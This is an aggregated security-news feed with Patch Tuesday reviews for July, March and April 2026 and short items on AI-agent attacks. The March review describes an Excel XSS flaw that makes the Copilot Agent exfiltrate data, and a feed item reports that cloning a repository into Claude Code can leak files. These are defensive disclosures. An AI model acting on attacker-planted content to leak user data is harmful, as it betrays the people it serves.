CVE-2026-50670	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50688	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50687	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56176	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58628	Windows Wireless Network Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50295	Windows Zero Trust DNS Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-50509	Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55945	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Moderate	4.2	No	No	Info
CVE-2026-45488	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	5.4	No	No	Spoofing
CVE-2026-45489	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing
CVE-2026-55145	Outlook Copilot Tampering Vulnerability	Moderate	6.3	No	No	Tampering
CVE-2026-56181	Windows Network Address Translation (NAT) Spoofing Vulnerability	Moderate	8.3	No	No	Spoofing
CVE-2026-58597	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Low	4.3	No	No	Spoofing

** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.

I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.

Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.

That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.

The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.

And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.

There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.

There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.

The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.

Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.

Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.

Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network. The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”. HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Tego AI Discloses Second Claude Flaw in a Week: Hidden Link Silently Sends Files to Attackers

Sat, 25 Jul 2026 19:02:44 +0200

Tel Aviv, Israel, July 24th, 2026, CyberNewswire One week after disclosing that Anthropic’s Claude Tag Slack integration could be driven by plain “@Claude” text, Tego AI today published a second piece of research on the Claude ecosystem. This one focuses on Claude Code, Anthropic’s agentic command-line coding tool. Cloning an ordinary repository and starting Claude […]

The post Tego AI Discloses Second Claude Flaw in a Week: Hidden Link Silently Sends Files to Attackers appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Google Launches Unified Cryptonym-Based Naming System for Threat Actors

Sat, 25 Jul 2026 19:02:42 +0200

Google Threat Intelligence Group (GTIG) has introduced a unified cryptonym-based naming system for cyber threat actors, aiming to simplify attribution, improve analyst workflows, and eliminate inconsistencies between legacy tracking conventions used across Google’s security teams. The initiative follows the integration of Mandiant and Google’s Threat Analysis Group (TAG) into GTIG. Before the merger, both organizations […]

The post Google Launches Unified Cryptonym-Based Naming System for Threat Actors appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Thailand’s Ministry of Finance Targeted With Hermes AI Agent Running Unattended, Hades Implant Staged

Sat, 25 Jul 2026 19:02:37 +0200

Hunt.io uncovered a cyber-espionage attack on Thailand’s Finance Ministry using Hermes AI agent and Hades malware for reconnaissance and persistence. Researchers at Hunt.io have uncovered an intrusion targeting Thailand’s Ministry of Finance that offers a rare look inside a live cyber-espionage operation. Instead of recovering malware after the fact, the team found exposed staging servers […]

OpenAI konnte die mehrtägige Hackerangriffsserie seines KI-Agenten eine Woche lang ...

Sat, 25 Jul 2026 19:02:35 +0200

Der KI-Agent von OpenAI sah Hacking als einfachste Option an. Brian, Leiter der Abteilung für Technologieethik am Markkula Center for Applied Ethics ...

Google Launches Unified Cryptonym-Based Naming System for Threat Actors

Sat, 25 Jul 2026 19:00:47 +0200

The post Google Launches Unified Cryptonym-Based Naming System for Threat Actors appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

The March 2026 Security Update Review

Sat, 25 Jul 2026 19:00:43 +0200

I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for March 2026

For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for Acrobat likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for Experience Manager is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for Commerce is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release.

The fix for Illustrator corrects seven bugs, including a few Critical-rated ones. The patch for Substance 3D Painter fixes nine different CVEs, all rated Important. That’s not the case for Substance 3D Stager, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the Adobe DNG Software Development Kit (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for March 2026

This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.

This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.

Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:

- CVE-2026-26144 - Microsoft Excel Information Disclosure Vulnerability
This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.

- CVE-2026-26110/CVE-2026-26113 - Microsoft Office Remote Code Execution Vulnerability
Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.

- CVE-2026-23669 - Windows Print Spooler Remote Code Execution Vulnerability
Just reading the title makes me twitch with remembrances of Print Nightmare from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.

- CVE-2026-23668 - Windows Graphics Component Elevation of Privilege Vulnerability
This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.

Here’s the full list of CVEs released by Microsoft for March 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-26127	.NET Denial of Service Vulnerability	Important	7.5	Yes	No	DoS
CVE-2026-21262	SQL Server Elevation of Privilege Vulnerability	Important	8.8	Yes	No	EoP
CVE-2026-23651	Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability	Critical	6.7	No	No	EoP
CVE-2026-26124	Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability	Critical	6.7	No	No	EoP
CVE-2026-26122	Microsoft ACI Confidential Containers Information Disclosure Vulnerability	Critical	6.5	No	No	Info
CVE-2026-21536	Microsoft Devices Pricing Program Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-26144	Microsoft Excel Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26110	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-26113	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-26125	Payment Orchestrator Service Elevation of Privilege Vulnerability	Critical	8.6	No	No	EoP
CVE-2026-26131	.NET Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25177	Active Directory Domain Services Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-26117	Arc Enabled Servers - Azure Connected Machine Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26130	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-23661	Azure IoT Explorer Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-23662	Azure IoT Explorer Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-23664	Azure IoT Explorer Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-26121	Azure IOT Explorer Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-26118	Azure MCP Server Tools Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-23667	Broadcast DVR Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25190	GDI Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-25181	GDI+ Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-26030 *	GitHub: CVE-2026-26030 Microsoft Semantic Kernel InMemoryVectorStore filter functionality vulnerable	Important	9.9	No	No	RCE
CVE-2026-23654 *	GitHub: Zero Shot SCFoundation Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-26141	Hybrid Worker Extension (Arc-enabled Windows VMs) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23665 †	Linux Azure Diagnostic extension (LAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23674	MapUrlToZone Security Feature Bypass Vulnerability	Important	7.5	No	No	SFB
CVE-2026-26123	Microsoft Authenticator Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26148 †	Microsoft Azure AD SSH Login extension for Linux Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-25167	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.4	No	No	EoP
CVE-2026-26107	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26108	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26109	Microsoft Excel Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-26112	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26134	Microsoft Office Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26106	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-26114	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-26105	Microsoft SharePoint Server Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-24283	Multiple UNC Provider Kernel Driver Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-25165	Performance Counters for Windows Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24282	Push message Routing Service Elevation of Privilege Vulnerability	Important	5.5	No	No	Info
CVE-2026-26115	SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-26116	SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-20967	System Center Operations Manager (SCOM) Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-24285	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24291	Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25186	Windows Accessibility Infrastructure (ATBroker.exe) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-23660 †	Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24293	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25176	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25178	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25179	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-23656	Windows App Installer Spoofing Vulnerability	Important	5.9	No	No	Spoofing
CVE-2026-25171	Windows Authentication Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-23671	Windows Bluetooth RFCOM Protocol Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24292	Windows Connected Devices Platform Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24295	Windows Device Association Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24296	Windows Device Association Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25189	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25174	Windows Extensible File Allocation Table Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25168	Windows Graphics Component Denial of Service Vulnerability	Important	6.2	No	No	DoS
CVE-2026-25169	Windows Graphics Component Denial of Service Vulnerability	Important	6.2	No	No	DoS
CVE-2026-23668	Windows Graphics Component Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25180	Windows Graphics Component Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-25170	Windows Hyper-V Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24297	Windows Kerberos Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-24287	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24289	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26132	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24288	Windows Mobile Broadband Driver Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-25175	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23669	Windows Print Spooler Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-24290	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23673	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25172	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-25173	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-26111	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-25185	Windows Shell Link Processing Spoofing Vulnerability	Important	5.3	No	No	Spoofing
CVE-2026-24294	Windows SMB Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26128	Windows SMB Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25166	Windows System Image Manager Assessment and Deployment Kit (ADK) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-25188	Windows Telephony Service Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-23672	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25187	Winlogon Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-3536 *	Chromium: CVE-2026-3536 Integer overflow in ANGLE	Critical	N/A	No	No	RCE
CVE-2026-3538 *	Chromium: CVE-2026-3538 Integer overflow in Skia	Critical	N/A	No	No	RCE
CVE-2026-3539 *	Chromium: CVE-2026-3539 Object lifecycle issue in DevTools	High	N/A	No	No	RCE
CVE-2026-3540 *	Chromium: CVE-2026-3540 Inappropriate implementation in WebAudio	High	N/A	No	No	RCE
CVE-2026-3541 *	Chromium: CVE-2026-3541 Inappropriate implementation in CSS	High	N/A	No	No	RCE
CVE-2026-3542 *	Chromium: CVE-2026-3542 Inappropriate implementation in WebAssembly	High	N/A	No	No	RCE
CVE-2026-3543 *	Chromium: CVE-2026-3543 Inappropriate implementation in V8	High	N/A	No	No	RCE
CVE-2026-3544 *	Chromium: CVE-2026-3544 Heap buffer overflow in WebCodecs	High	N/A	No	No	RCE
CVE-2026-3545 *	Chromium: CVE-2026-3545 Insufficient data validation in Navigation	High	N/A	No	No	RCE

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.

Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.

Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand.

There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.

Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.

There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate.

Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.

No new advisories are being released this month.

Looking Ahead

I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The April 2026 Security Update Review

Sat, 25 Jul 2026 19:00:42 +0200

It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for April 2026

For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-43	Adobe Acrobat Reader	1	Critical	8.6	Yes	1
APSB26-44	Adobe Acrobat Reader	2	Critical	8.6	No	2
APSB26-32	Adobe InDesign	9	Critical	7.8	No	3
APSB26-33	Adobe InCopy	2	Critical	7.8	No	3
APSB26-36	Adobe FrameMaker	11	Critical	8.6	No	3
APSB26-37	Adobe Connect	9	Critical	9.6	No	3
APSB26-38	Adobe ColdFusion	7	Critical	9.3	No	1
APSB26-39	Adobe Bridge	6	Critical	7.8	No	3
APSB26-40	Adobe Photoshop	1	Critical	7.8	No	3
APSB26-42	Adobe Illustrator	1	Critical	7.8	No	3
APSB26-34	Adobe Experience Manager Screens	9	Important	5.4	No	3
APSB26-41	Adobe DNG SDK	3	Important	5.5	No	3

Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed.

Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for April 2026

